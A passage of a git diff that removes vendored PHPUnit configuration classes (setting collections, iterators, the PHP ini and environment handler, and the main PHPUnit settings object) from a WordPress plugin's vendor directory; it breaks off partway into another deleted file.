-1,60 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function count; -use Countable; -use IteratorAggregate; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - * - * @template-implements IteratorAggregate - */ -final class IniSettingCollection implements Countable, IteratorAggregate -{ - /** - * @var IniSetting[] - */ - private $iniSettings; - - /** - * @param IniSetting[] $iniSettings - */ - public static function fromArray(array $iniSettings): self - { - return new self(...$iniSettings); - } - - private function __construct(IniSetting ...$iniSettings) - { - $this->iniSettings = $iniSettings; - } - - /** - * @return IniSetting[] - */ - public function asArray(): array - { - return $this->iniSettings; - } - - public function count(): int - { - return count($this->iniSettings); - } - - public function getIterator(): IniSettingCollectionIterator - { - return new IniSettingCollectionIterator($this); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSettingCollectionIterator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSettingCollectionIterator.php deleted file mode 100644 index 6c348b48..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSettingCollectionIterator.php +++ /dev/null @@ -1,68 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function count; -use function iterator_count; -use Countable; -use Iterator; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @template-implements Iterator - */ -final class IniSettingCollectionIterator implements Countable, Iterator -{ - /** - * @var IniSetting[] - */ - private $iniSettings; - - /** - * @var int - */ - private $position; - - public function __construct(IniSettingCollection $iniSettings) - { - $this->iniSettings = $iniSettings->asArray(); - } - - public function count(): int - { - return iterator_count($this); - } - - public function rewind(): void - { - $this->position = 0; - } - - public function valid(): bool - { - return $this->position < count($this->iniSettings); - } - - public function key(): int - { - return $this->position; - } - - public function current(): IniSetting - { - return $this->iniSettings[$this->position]; - } - - public function next(): void - { - $this->position++; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Php.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Php.php deleted file mode 100644 index c1e9c6fd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Php.php +++ /dev/null @@ -1,143 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class Php -{ - /** - * @var DirectoryCollection - */ - private $includePaths; - - /** - * @var IniSettingCollection - */ - private $iniSettings; - - /** - * @var ConstantCollection - */ - private $constants; - - /** - * @var VariableCollection - */ - private $globalVariables; - - /** - * @var VariableCollection - */ - private $envVariables; - - /** - * @var VariableCollection - */ - private $postVariables; - - /** - * @var VariableCollection - */ - private $getVariables; - - /** - * @var VariableCollection - */ - private $cookieVariables; - - /** - * @var VariableCollection - */ - private $serverVariables; - - /** - * @var VariableCollection - */ - private $filesVariables; - - /** - * @var VariableCollection - */ - private $requestVariables; - - public function __construct(DirectoryCollection $includePaths, IniSettingCollection $iniSettings, ConstantCollection $constants, VariableCollection $globalVariables, VariableCollection $envVariables, VariableCollection $postVariables, VariableCollection $getVariables, VariableCollection $cookieVariables, VariableCollection $serverVariables, VariableCollection $filesVariables, VariableCollection $requestVariables) - { - $this->includePaths = $includePaths; - $this->iniSettings = $iniSettings; - $this->constants = $constants; - $this->globalVariables = $globalVariables; - $this->envVariables = $envVariables; - $this->postVariables = $postVariables; - $this->getVariables = $getVariables; - $this->cookieVariables = $cookieVariables; - $this->serverVariables = $serverVariables; - $this->filesVariables = $filesVariables; - $this->requestVariables = $requestVariables; - } - - public function includePaths(): DirectoryCollection - { - return $this->includePaths; - } - - public function iniSettings(): IniSettingCollection - { - return $this->iniSettings; - } - - public function constants(): ConstantCollection - { - return $this->constants; - } - - public function globalVariables(): VariableCollection - { - return $this->globalVariables; - } - - public function envVariables(): VariableCollection - { - return $this->envVariables; - } - - public function postVariables(): VariableCollection - { - return $this->postVariables; - } - - public function getVariables(): VariableCollection - { - return $this->getVariables; - } - - public function cookieVariables(): VariableCollection - { - return $this->cookieVariables; - } - - public function serverVariables(): VariableCollection - { - return $this->serverVariables; - } - - public function filesVariables(): VariableCollection - { - return $this->filesVariables; - } - - public function requestVariables(): VariableCollection - { - return $this->requestVariables; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/PhpHandler.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/PhpHandler.php deleted file mode 100644 index f5969945..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/PhpHandler.php +++ /dev/null @@ -1,121 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use const PATH_SEPARATOR; -use function constant; -use function define; -use function defined; -use function getenv; -use function implode; -use function ini_get; -use function ini_set; -use function putenv; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class PhpHandler -{ - public function handle(Php $configuration): void - { - $this->handleIncludePaths($configuration->includePaths()); - $this->handleIniSettings($configuration->iniSettings()); - $this->handleConstants($configuration->constants()); - $this->handleGlobalVariables($configuration->globalVariables()); - $this->handleServerVariables($configuration->serverVariables()); - $this->handleEnvVariables($configuration->envVariables()); - $this->handleVariables('_POST', $configuration->postVariables()); - $this->handleVariables('_GET', $configuration->getVariables()); - $this->handleVariables('_COOKIE', $configuration->cookieVariables()); - $this->handleVariables('_FILES', $configuration->filesVariables()); - $this->handleVariables('_REQUEST', $configuration->requestVariables()); - } - - private function handleIncludePaths(DirectoryCollection $includePaths): void - { - if (!$includePaths->isEmpty()) { - $includePathsAsStrings = []; - - foreach ($includePaths as $includePath) { - $includePathsAsStrings[] = $includePath->path(); - } - - ini_set( - 'include_path', - implode(PATH_SEPARATOR, $includePathsAsStrings) . - PATH_SEPARATOR . - ini_get('include_path'), - ); - } - } - - private function handleIniSettings(IniSettingCollection $iniSettings): void - { - foreach ($iniSettings as $iniSetting) { - $value = $iniSetting->value(); - - if (defined($value)) { - $value = (string) constant($value); - } - - ini_set($iniSetting->name(), $value); - } - } - - private function handleConstants(ConstantCollection $constants): void - { - foreach ($constants as $constant) { - if (!defined($constant->name())) { - define($constant->name(), $constant->value()); - } - } - } - - private function handleGlobalVariables(VariableCollection $variables): void - { - foreach ($variables as $variable) { - $GLOBALS[$variable->name()] = $variable->value(); - } - } - - private function handleServerVariables(VariableCollection $variables): void - { - foreach ($variables as $variable) { - $_SERVER[$variable->name()] = $variable->value(); - } - } - - private function handleVariables(string $target, VariableCollection $variables): void - { - foreach ($variables as $variable) { - $GLOBALS[$target][$variable->name()] = $variable->value(); - } - } - - private function handleEnvVariables(VariableCollection $variables): void - { - foreach ($variables as $variable) { - $name = $variable->name(); - $value = $variable->value(); - $force = $variable->force(); - - if ($force || getenv($name) === false) { - putenv("{$name}={$value}"); - } - - $value = getenv($name); - - if ($force || !isset($_ENV[$name])) { - $_ENV[$name] = $value; - } - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Variable.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Variable.php deleted file mode 100644 index 37c572ae..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Variable.php +++ /dev/null @@ -1,55 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class Variable -{ - /** - * @var string - */ - private $name; - - /** - * @var mixed - */ - private $value; - - /** - * @var bool - */ - private $force; - - public function __construct(string $name, $value, bool $force) - { - $this->name = $name; - $this->value = $value; - $this->force = $force; - } - - public function name(): string - { - return $this->name; - } - - public function value() - { - return $this->value; - } - - public function force(): bool - { - return $this->force; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/VariableCollection.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/VariableCollection.php deleted file mode 100644 index 6662db64..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/VariableCollection.php +++ /dev/null @@ -1,60 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function count; -use Countable; -use IteratorAggregate; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - * - * @template-implements IteratorAggregate - */ -final class VariableCollection implements Countable, IteratorAggregate -{ - /** - * @var Variable[] - */ - private $variables; - - /** - * @param Variable[] $variables - */ - public static function fromArray(array $variables): self - { - return new self(...$variables); - } - - private function __construct(Variable ...$variables) - { - $this->variables = $variables; - } - - /** - * @return Variable[] - */ - public function asArray(): array - { - return $this->variables; - } - - public function count(): int - { - return count($this->variables); - } - - public function getIterator(): VariableCollectionIterator - { - return new VariableCollectionIterator($this); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/VariableCollectionIterator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/VariableCollectionIterator.php deleted file mode 100644 index 032d0be1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/VariableCollectionIterator.php +++ /dev/null @@ -1,68 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function count; -use function iterator_count; -use Countable; -use Iterator; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @template-implements Iterator - */ -final class VariableCollectionIterator implements Countable, Iterator -{ - /** - * @var Variable[] - */ - private $variables; - - /** - * @var int - */ - private $position; - - public function __construct(VariableCollection $variables) - { - $this->variables = $variables->asArray(); - } - - public function count(): int - { - return iterator_count($this); - } - - public function rewind(): void - { - $this->position = 0; - } - - public function valid(): bool - { - return $this->position < count($this->variables); - } - - public function key(): int - { - return $this->position; - } - - public function current(): Variable - { - return $this->variables[$this->position]; - } - - public function next(): void - { - $this->position++; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/Extension.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/Extension.php deleted file mode 100644 index 09fe8cc9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/Extension.php +++ /dev/null @@ -1,73 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class Extension -{ - /** - * @var string - * - * @psalm-var class-string - */ - private $className; - - /** - * @var string - */ - private $sourceFile; - - /** - * @var array - */ - private $arguments; - - /** - * @psalm-param class-string $className - */ - public function __construct(string $className, string $sourceFile, array $arguments) - { - $this->className = $className; - $this->sourceFile = $sourceFile; - $this->arguments = $arguments; - } - - /** - * @psalm-return class-string - */ - public function className(): string - { - return $this->className; - } - - public function hasSourceFile(): bool - { - return $this->sourceFile !== ''; - } - - public function sourceFile(): string - { - return $this->sourceFile; - } - - public function hasArguments(): bool - { - return !empty($this->arguments); - } - - public function arguments(): array - { - return $this->arguments; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/ExtensionCollection.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/ExtensionCollection.php deleted file mode 100644 index 76d07ebc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/ExtensionCollection.php +++ /dev/null @@ -1,53 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use IteratorAggregate; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - * - * @template-implements IteratorAggregate - */ -final class ExtensionCollection implements IteratorAggregate -{ - /** - * @var Extension[] - */ - private $extensions; - - /** - * @param Extension[] $extensions - */ - public static function fromArray(array $extensions): self - { - return new self(...$extensions); - } - - private function __construct(Extension ...$extensions) - { - $this->extensions = $extensions; - } - - /** - * @return Extension[] - */ - public function asArray(): array - { - return $this->extensions; - } - - public function getIterator(): ExtensionCollectionIterator - { - return new ExtensionCollectionIterator($this); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/ExtensionCollectionIterator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/ExtensionCollectionIterator.php deleted file mode 100644 index a9fc1af8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/ExtensionCollectionIterator.php +++ /dev/null @@ -1,68 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function count; -use function iterator_count; -use Countable; -use Iterator; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @template-implements Iterator - */ -final class ExtensionCollectionIterator implements Countable, Iterator -{ - /** - * @var Extension[] - */ - private $extensions; - - /** - * @var int - */ - private $position; - - public function __construct(ExtensionCollection $extensions) - { - $this->extensions = $extensions->asArray(); - } - - public function count(): int - { - return iterator_count($this); - } - - public function rewind(): void - { - $this->position = 0; - } - - public function valid(): bool - { - return $this->position < count($this->extensions); - } - - public function key(): int - { - return $this->position; - } - - public function current(): Extension - { - return $this->extensions[$this->position]; - } - - public function next(): void - { - $this->position++; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/PHPUnit.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/PHPUnit.php deleted file mode 100644 index 5b3ce9b8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/PHPUnit.php +++ /dev/null @@ -1,715 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class PHPUnit -{ - /** - * @var bool - */ - private $cacheResult; - - /** - * @var ?string - */ - private $cacheResultFile; - - /** - * @var int|string - */ - private $columns; - - /** - * @var string - */ - private $colors; - - /** - * @var bool - */ - private $stderr; - - /** - * @var bool - */ - private $noInteraction; - - /** - * @var bool - */ - private $verbose; - - /** - * @var bool - */ - private $reverseDefectList; - - /** - * @var bool - */ - private $convertDeprecationsToExceptions; - - /** - * @var bool - */ - private $convertErrorsToExceptions; - - /** - * @var bool - */ - private $convertNoticesToExceptions; - - /** - * @var bool - */ - private $convertWarningsToExceptions; - - /** - * @var bool - */ - private $forceCoversAnnotation; - - /** - * @var ?string - */ - private $bootstrap; - - /** - * @var bool - */ - private $processIsolation; - - /** - * @var bool - */ - private $failOnEmptyTestSuite; - - /** - * @var bool - */ - private $failOnIncomplete; - - /** - * @var bool - */ - private $failOnRisky; - - /** - * @var bool - */ - private $failOnSkipped; - - /** - * @var bool - */ - private $failOnWarning; - - /** - * @var bool - */ - private $stopOnDefect; - - /** - * @var bool - */ - private $stopOnError; - - /** - * @var bool - */ - private $stopOnFailure; - - /** - * @var bool - */ - private $stopOnWarning; - - /** - * @var bool - */ - private $stopOnIncomplete; - - /** - * @var bool - */ - private $stopOnRisky; - - /** - * @var bool - */ - private $stopOnSkipped; - - /** - * @var ?string - */ - private $extensionsDirectory; - - /** - * @var ?string - * - * @deprecated see https://github.com/sebastianbergmann/phpunit/issues/4039 - */ - private $testSuiteLoaderClass; - - /** - * @var ?string - * - * @deprecated see https://github.com/sebastianbergmann/phpunit/issues/4039 - */ - private $testSuiteLoaderFile; - - /** - * @var ?string - */ - private $printerClass; - - /** - * @var ?string - */ - private $printerFile; - - /** - * @var bool - */ - private $beStrictAboutChangesToGlobalState; - - /** - * @var bool - */ - private $beStrictAboutOutputDuringTests; - - /** - * @var bool - */ - private $beStrictAboutResourceUsageDuringSmallTests; - - /** - * @var bool - */ - private $beStrictAboutTestsThatDoNotTestAnything; - - /** - * @var bool - */ - private $beStrictAboutTodoAnnotatedTests; - - /** - * @var bool - */ - private $beStrictAboutCoversAnnotation; - - /** - * @var bool - */ - private $enforceTimeLimit; - - /** - * @var int - */ - private $defaultTimeLimit; - - /** - * @var int - */ - private $timeoutForSmallTests; - - /** - * @var int - */ - private $timeoutForMediumTests; - - /** - * @var int - */ - private $timeoutForLargeTests; - - /** - * @var ?string - */ - private $defaultTestSuite; - - /** - * @var int - */ - private $executionOrder; - - /** - * @var bool - */ - private $resolveDependencies; - - /** - * @var bool - */ - private $defectsFirst; - - /** - * @var bool - */ - private $backupGlobals; - - /** - * @var bool - */ - private $backupStaticAttributes; - - /** - * @var bool - */ - private $registerMockObjectsFromTestArgumentsRecursively; - - /** - * @var bool - */ - private $conflictBetweenPrinterClassAndTestdox; - - public function __construct(bool $cacheResult, ?string $cacheResultFile, $columns, string $colors, bool $stderr, bool $noInteraction, bool $verbose, bool $reverseDefectList, bool $convertDeprecationsToExceptions, bool $convertErrorsToExceptions, bool $convertNoticesToExceptions, bool $convertWarningsToExceptions, bool $forceCoversAnnotation, ?string $bootstrap, bool $processIsolation, bool $failOnEmptyTestSuite, bool $failOnIncomplete, bool $failOnRisky, bool $failOnSkipped, bool $failOnWarning, bool $stopOnDefect, bool $stopOnError, bool $stopOnFailure, bool $stopOnWarning, bool $stopOnIncomplete, bool $stopOnRisky, bool $stopOnSkipped, ?string $extensionsDirectory, ?string $testSuiteLoaderClass, ?string $testSuiteLoaderFile, ?string $printerClass, ?string $printerFile, bool $beStrictAboutChangesToGlobalState, bool $beStrictAboutOutputDuringTests, bool $beStrictAboutResourceUsageDuringSmallTests, bool $beStrictAboutTestsThatDoNotTestAnything, bool $beStrictAboutTodoAnnotatedTests, bool $beStrictAboutCoversAnnotation, bool $enforceTimeLimit, int $defaultTimeLimit, int $timeoutForSmallTests, int $timeoutForMediumTests, int $timeoutForLargeTests, ?string $defaultTestSuite, int $executionOrder, bool $resolveDependencies, bool $defectsFirst, bool $backupGlobals, bool $backupStaticAttributes, bool $registerMockObjectsFromTestArgumentsRecursively, bool $conflictBetweenPrinterClassAndTestdox) - { - $this->cacheResult = $cacheResult; - $this->cacheResultFile = $cacheResultFile; - $this->columns = $columns; - $this->colors = $colors; - $this->stderr = $stderr; - $this->noInteraction = $noInteraction; - $this->verbose = $verbose; - $this->reverseDefectList = $reverseDefectList; - $this->convertDeprecationsToExceptions = $convertDeprecationsToExceptions; - $this->convertErrorsToExceptions = $convertErrorsToExceptions; - $this->convertNoticesToExceptions = $convertNoticesToExceptions; - $this->convertWarningsToExceptions = $convertWarningsToExceptions; - $this->forceCoversAnnotation = $forceCoversAnnotation; - $this->bootstrap = $bootstrap; - $this->processIsolation = $processIsolation; - $this->failOnEmptyTestSuite = $failOnEmptyTestSuite; - $this->failOnIncomplete = $failOnIncomplete; - $this->failOnRisky = $failOnRisky; - $this->failOnSkipped = $failOnSkipped; - $this->failOnWarning = $failOnWarning; - $this->stopOnDefect = $stopOnDefect; - $this->stopOnError = $stopOnError; - $this->stopOnFailure = $stopOnFailure; - $this->stopOnWarning = $stopOnWarning; - $this->stopOnIncomplete = $stopOnIncomplete; - $this->stopOnRisky = $stopOnRisky; - $this->stopOnSkipped = $stopOnSkipped; - $this->extensionsDirectory = $extensionsDirectory; - $this->testSuiteLoaderClass = $testSuiteLoaderClass; - $this->testSuiteLoaderFile = $testSuiteLoaderFile; - $this->printerClass = $printerClass; - $this->printerFile = $printerFile; - $this->beStrictAboutChangesToGlobalState = $beStrictAboutChangesToGlobalState; - $this->beStrictAboutOutputDuringTests = $beStrictAboutOutputDuringTests; - $this->beStrictAboutResourceUsageDuringSmallTests = $beStrictAboutResourceUsageDuringSmallTests; - $this->beStrictAboutTestsThatDoNotTestAnything = $beStrictAboutTestsThatDoNotTestAnything; - $this->beStrictAboutTodoAnnotatedTests = $beStrictAboutTodoAnnotatedTests; - $this->beStrictAboutCoversAnnotation = $beStrictAboutCoversAnnotation; - $this->enforceTimeLimit = $enforceTimeLimit; - $this->defaultTimeLimit = $defaultTimeLimit; - $this->timeoutForSmallTests = $timeoutForSmallTests; - $this->timeoutForMediumTests = $timeoutForMediumTests; - $this->timeoutForLargeTests = $timeoutForLargeTests; - $this->defaultTestSuite = $defaultTestSuite; - $this->executionOrder = $executionOrder; - $this->resolveDependencies = $resolveDependencies; - $this->defectsFirst = $defectsFirst; - $this->backupGlobals = $backupGlobals; - $this->backupStaticAttributes = $backupStaticAttributes; - $this->registerMockObjectsFromTestArgumentsRecursively = $registerMockObjectsFromTestArgumentsRecursively; - $this->conflictBetweenPrinterClassAndTestdox = $conflictBetweenPrinterClassAndTestdox; - } - - public function cacheResult(): bool - { - return $this->cacheResult; - } - - /** - * @psalm-assert-if-true !null $this->cacheResultFile - */ - public function hasCacheResultFile(): bool - { - return $this->cacheResultFile !== null; - } - - /** - * @throws Exception - */ - public function cacheResultFile(): string - { - if (!$this->hasCacheResultFile()) { - throw new Exception('Cache result file is not configured'); - } - - return (string) $this->cacheResultFile; - } - - public function columns() - { - return $this->columns; - } - - public function colors(): string - { - return $this->colors; - } - - public function stderr(): bool - { - return $this->stderr; - } - - public function noInteraction(): bool - { - return $this->noInteraction; - } - - public function verbose(): bool - { - return $this->verbose; - } - - public function reverseDefectList(): bool - { - return $this->reverseDefectList; - } - - public function convertDeprecationsToExceptions(): bool - { - return $this->convertDeprecationsToExceptions; - } - - public function convertErrorsToExceptions(): bool - { - return $this->convertErrorsToExceptions; - } - - public function convertNoticesToExceptions(): bool - { - return $this->convertNoticesToExceptions; - } - - public function convertWarningsToExceptions(): bool - { - return $this->convertWarningsToExceptions; - } - - public function forceCoversAnnotation(): bool - { - return $this->forceCoversAnnotation; - } - - /** - * @psalm-assert-if-true !null $this->bootstrap - */ - public function hasBootstrap(): bool - { - return $this->bootstrap !== null; - } - - /** - * @throws Exception - */ - public function bootstrap(): string - { - if (!$this->hasBootstrap()) { - throw new Exception('Bootstrap script is not configured'); - } - - return (string) $this->bootstrap; - } - - public function processIsolation(): bool - { - return $this->processIsolation; - } - - public function failOnEmptyTestSuite(): bool - { - return $this->failOnEmptyTestSuite; - } - - public function failOnIncomplete(): bool - { - return $this->failOnIncomplete; - } - - public function failOnRisky(): bool - { - return $this->failOnRisky; - } - - public function failOnSkipped(): bool - { - return $this->failOnSkipped; - } - - public function failOnWarning(): bool - { - return $this->failOnWarning; - } - - public function stopOnDefect(): bool - { - return $this->stopOnDefect; - } - - public function stopOnError(): bool - { - return $this->stopOnError; - } - - public function stopOnFailure(): bool - { - return $this->stopOnFailure; - } - - public function stopOnWarning(): bool - { - return $this->stopOnWarning; - } - - public function stopOnIncomplete(): bool - { - return $this->stopOnIncomplete; - } - - public function stopOnRisky(): bool - { - return $this->stopOnRisky; - } - - public function stopOnSkipped(): bool - { - return $this->stopOnSkipped; - } - - /** - * @psalm-assert-if-true !null $this->extensionsDirectory - */ - public function hasExtensionsDirectory(): bool - { - return $this->extensionsDirectory !== null; - } - - /** - * @throws Exception - */ - public function extensionsDirectory(): string - { - if (!$this->hasExtensionsDirectory()) { - throw new Exception('Extensions directory is not configured'); - } - - return (string) $this->extensionsDirectory; - } - - /** - * @psalm-assert-if-true !null $this->testSuiteLoaderClass - * - * @deprecated see https://github.com/sebastianbergmann/phpunit/issues/4039 - */ - public function hasTestSuiteLoaderClass(): bool - { - return $this->testSuiteLoaderClass !== null; - } - - /** - * @throws Exception - * - * @deprecated see https://github.com/sebastianbergmann/phpunit/issues/4039 - */ - public function testSuiteLoaderClass(): string - { - if (!$this->hasTestSuiteLoaderClass()) { - throw new Exception('TestSuiteLoader class is not configured'); - } - - return (string) $this->testSuiteLoaderClass; - } - - /** - * @psalm-assert-if-true !null $this->testSuiteLoaderFile - * - * @deprecated see https://github.com/sebastianbergmann/phpunit/issues/4039 - */ - public function hasTestSuiteLoaderFile(): bool - { - return $this->testSuiteLoaderFile !== null; - } - - /** - * @throws Exception - * - * @deprecated see https://github.com/sebastianbergmann/phpunit/issues/4039 - */ - public function testSuiteLoaderFile(): string - { - if (!$this->hasTestSuiteLoaderFile()) { - throw new Exception('TestSuiteLoader sourcecode file is not configured'); - } - - return (string) $this->testSuiteLoaderFile; - } - - /** - * @psalm-assert-if-true !null $this->printerClass - */ - public function hasPrinterClass(): bool - { - return $this->printerClass !== null; - } - - /** - * @throws Exception - */ - public function printerClass(): string - { - if (!$this->hasPrinterClass()) { - throw new Exception('ResultPrinter class is not configured'); - } - - return (string) $this->printerClass; - } - - /** - * @psalm-assert-if-true !null $this->printerFile - */ - public function hasPrinterFile(): bool - { - return $this->printerFile !== null; - } - - /** - * @throws Exception - */ - public function printerFile(): string - { - if (!$this->hasPrinterFile()) { - throw new Exception('ResultPrinter sourcecode file is not configured'); - } - - return (string) $this->printerFile; - } - - public function beStrictAboutChangesToGlobalState(): bool - { - return $this->beStrictAboutChangesToGlobalState; - } - - public function beStrictAboutOutputDuringTests(): bool - { - return $this->beStrictAboutOutputDuringTests; - } - - public function beStrictAboutResourceUsageDuringSmallTests(): bool - { - return $this->beStrictAboutResourceUsageDuringSmallTests; - } - - public function beStrictAboutTestsThatDoNotTestAnything(): bool - { - return $this->beStrictAboutTestsThatDoNotTestAnything; - } - - public function beStrictAboutTodoAnnotatedTests(): bool - { - return $this->beStrictAboutTodoAnnotatedTests; - } - - public function beStrictAboutCoversAnnotation(): bool - { - return $this->beStrictAboutCoversAnnotation; - } - - public function enforceTimeLimit(): bool - { - return $this->enforceTimeLimit; - } - - public function defaultTimeLimit(): int - { - return $this->defaultTimeLimit; - } - - public function timeoutForSmallTests(): int - { - return $this->timeoutForSmallTests; - } - - public function timeoutForMediumTests(): int - { - return $this->timeoutForMediumTests; - } - - public function timeoutForLargeTests(): int - { - return $this->timeoutForLargeTests; - } - - /** - * @psalm-assert-if-true !null $this->defaultTestSuite - */ - public function hasDefaultTestSuite(): bool - { - return $this->defaultTestSuite !== null; - } - - /** - * @throws Exception - */ - public function defaultTestSuite(): string - { - if (!$this->hasDefaultTestSuite()) { - throw new Exception('Default test suite is not configured'); - } - - return (string) $this->defaultTestSuite; - } - - public function executionOrder(): int - { - return $this->executionOrder; - } - - public function resolveDependencies(): bool - { - return $this->resolveDependencies; - } - - public function defectsFirst(): bool - { - return $this->defectsFirst; - } - - public function backupGlobals(): bool - { - return $this->backupGlobals; - } - - public function backupStaticAttributes(): bool - { - return $this->backupStaticAttributes; - } - - public function registerMockObjectsFromTestArgumentsRecursively(): bool - { - return $this->registerMockObjectsFromTestArgumentsRecursively; - } - - public function conflictBetweenPrinterClassAndTestdox(): bool - { - return $this->conflictBetweenPrinterClassAndTestdox; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectory.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectory.php deleted file mode 100644 index ecefbb7c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectory.php +++ /dev/null @@ -1,79 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace 